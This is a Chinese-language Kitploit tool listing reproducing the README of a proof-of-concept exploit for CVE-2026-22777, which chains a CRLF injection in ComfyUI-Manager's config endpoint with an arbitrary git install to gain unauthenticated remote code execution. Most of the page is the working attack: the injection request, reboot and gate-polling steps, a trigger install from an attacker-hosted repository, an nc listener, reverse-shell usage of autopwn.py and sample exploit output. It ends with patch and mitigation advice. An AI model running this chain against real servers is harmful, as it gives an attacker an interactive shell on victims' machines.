Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-22777 — 针对 ComfyUI-Manager 配置端点中 CRLF 注入的漏洞利用概念验证,通过结合任意 git 安装实现未经身份验证的远程代码执行。 | Kitploit
工具/GitHubGitHub/si13nttt/cve-2026-22777
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试命令与控制红队Payload 开发
GitHubsi13nttt/cve-2026-22777

CVE-2026-22777

针对 ComfyUI-Manager 配置端点中 CRLF 注入的漏洞利用概念验证,通过结合任意 git 安装实现未经身份验证的远程代码执行。

查看仓库
44天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-22777 — ComfyUI-Manager CRLF 注入 -> RCE(结合 CVE-2025-67303)

严重程度: 严重(CVSS 9.8) 受影响版本: ComfyUI-Manager < 3.39.2 以及 4.0.0 - 4.0.4 修复版本: ComfyUI-Manager 3.39.2 / 4.0.5 结合漏洞: CVE-2025-67303(任意 Git 安装 -> 代码执行)


工作原理

ComfyUI-Manager 暴露了一个 /api/manager/db_mode 端点,该端点接受一个 value 查询参数,并使用 Python 的 configparser 将其直接写入 config.ini。

该漏洞是一个裸回车注入(\r / %0D):

  • 写入时: configparser 原样序列化该值——\r 被原样存储在文件中。
  • 读取时: Python 的通用换行模式将裸 \r 视为行终止符,将一个值拆分为两个独立的 INI 指令。
  • 后键覆盖: configparser 在 strict=False(ComfyUI-Manager 的默认设置)下接受重复键并使用最后一个。注入的 security_level = weak 覆盖了合法值。

重启后,伪造的设置生效,禁用了 /api/customnode/install/git_url(CVE-2025-67303)上的身份验证门。该端点克隆任意 git 仓库并立即以子进程方式执行其中的 install.py——使未认证的攻击者获得完整的代码执行权限。


攻击链

步骤 1 — 向配置端点注入裸 CR
  GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak

  写入后磁盘上的 config.ini:
    db_mode = cache\r
    security_level = weak   <- 通过 %0D 注入

步骤 2 — 重启 Manager 以重新加载伪造的配置
  GET /api/manager/reboot

  Manager 重新读取 config.ini;通用换行符拆分该值;
  后键覆盖 -> security_level = weak

步骤 3 — 验证门(轮询直到 403 变为 400)
  POST /api/customnode/install/git_url  body: http://127.0.0.1/probe.git
  403 = 门仍然关闭
  400 = 门已打开,security_level=weak 已确认

步骤 4 — 从恶意 git 仓库触发安装(CVE-2025-67303)
  POST /api/customnode/install/git_url
  body: http://ATTACKER:9099/alg-upscaler.git

  Manager 执行:
    git clone http://ATTACKER:9099/alg-upscaler.git
    python install.py   <- 反向 shell 在此处执行

文件

文件用途
setup_evil_repo.sh构建恶意 git 仓库并通过 HTTP 提供服务
exploit_ad15.sh运行完整攻击链:CRLF 注入 -> 重启 -> 验证 -> 触发
autopwn.pyPython 一体化替代方案(构建仓库 + 运行完整攻击链)

识别

步骤 1 — 版本指纹

curl -s http://TARGET:8188/api/manager/version
# 存在漏洞:  "3.39.1"  /  "4.0.3"
# 已修复:     "3.39.2"  /  "4.0.5"

步骤 2 — 确认 CRLF 端点接受值

curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> 端点存在且可写

步骤 3 — 探测安装门

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://TARGET:8188/api/customnode/install/git_url \
  -d "http://127.0.0.1/probe.git"
# 403 -> 门关闭(默认配置,目标可注入)
# 400 -> 门已打开(跳过阶段 1)

漏洞利用输出说明

============================================================
  CVE-2026-22777 + CVE-2025-67303 完整攻击链
============================================================
  目标      : http://192.168.1.10:8188
  攻击者    : 10.10.14.1:4444
  恶意仓库  : http://10.10.14.1:9099/alg-upscaler.git

[*] 阶段 0:版本指纹
    ComfyUI-Manager 版本: "3.39.1"        <- 存在漏洞

[*] 阶段 1:CRLF 注入 -> security_level = weak
[+] 注入已发送(HTTP 200)
    config.ini 现在包含:
      db_mode = cache\r
      security_level = weak  <- 通过裸 CR 注入

[*] 阶段 2:触发重启
[+] 重启请求已发送 -- 等待 30 秒让 Manager 重启...

[*] 阶段 3:验证安全门
    尝试 1:HTTP 403                      <- 仍在重启
    尝试 2:HTTP 403
    尝试 3:HTTP 400                      <- 门已打开
[+] 门已打开 -- security_level=weak 已生效

[*] 阶段 4:检查恶意 git 仓库是否可达
[+] 恶意仓库可达(HTTP 200)

[*] 阶段 5:触发 git 安装(CVE-2025-67303)
    ComfyUI-Manager 将:
      1. git clone http://10.10.14.1:9099/alg-upscaler.git
      2. cd 进入克隆目录
      3. python install.py  <- 反向 shell 在此处执行

阶段 5 中的 curl 会挂起——反向 shell 到达 nc -lvnp 4444。


与 Vulhub PoC 的区别

1. 载荷

Vulhub PoC本 PoC
install.pytouch /tmp/success(仅证明执行)Python 反向 shell 回连攻击者
结果无交互式 shell完整交互式 shell

2. 仓库管理

Vulhub PoC本 PoC
语言单个 Python 文件Bash,2 个独立脚本
清理tempfile.TemporaryDirectory(Ctrl+C 时自动删除)手动(保留在磁盘上)
仓库名称随机(例如 evil-node-a1b2c3)固定:alg-upscaler

3. 攻击链覆盖

Vulhub PoC本 PoC
CVE-2026-22777(CRLF 注入)未包含在 exploit_ad15.sh 阶段 1 中
重启 + 验证门未包含等待 30 秒然后轮询 403->400
触发安装手动 curl在阶段 5 中自动化

使用方法

步骤 1 — 设置恶意仓库和监听器(两个终端)

# 终端 1 — 监听器
nc -lvnp 4444

# 终端 2 — 构建并提供恶意仓库
bash setup_evil_repo.sh 10.10.14.1 4444

步骤 2 — 运行完整漏洞利用链

# 终端 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444

阶段 5 后 shell 到达终端 1。

替代方案 — Python 一体化

# 盲命令
python3 autopwn.py http://192.168.1.10:8188 --command "id"

# 反向 shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444

修复 / 缓解措施

升级(推荐): ComfyUI-Manager 3.39.2 或 4.0.5+。 该补丁在将任何查询参数写入 config.ini 之前会剥离 \r 和 \n。

网络缓解措施(如果无法立即修补):

  • 在防火墙处阻止对端口 8188 的外部访问——ComfyUI 并非为公开暴露而设计。
  • 在 /api/manager/* 和 /api/customnode/* 前面使用带身份验证的反向代理。
  • 将 config.ini 设为只读:chmod 444 config.ini。

参考资料

  • https://github.com/Comfy-Org/ComfyUI-Manager
  • https://www.cve.org/CVERecord?id=CVE-2025-67303
  • https://github.com/vulhub/vulhub/tree/master/comfyui/CVE-2025-67303
  • https://docs.python.org/3/library/configparser.html
  • https://cwe.mitre.org/data/definitions/93.html
下载工具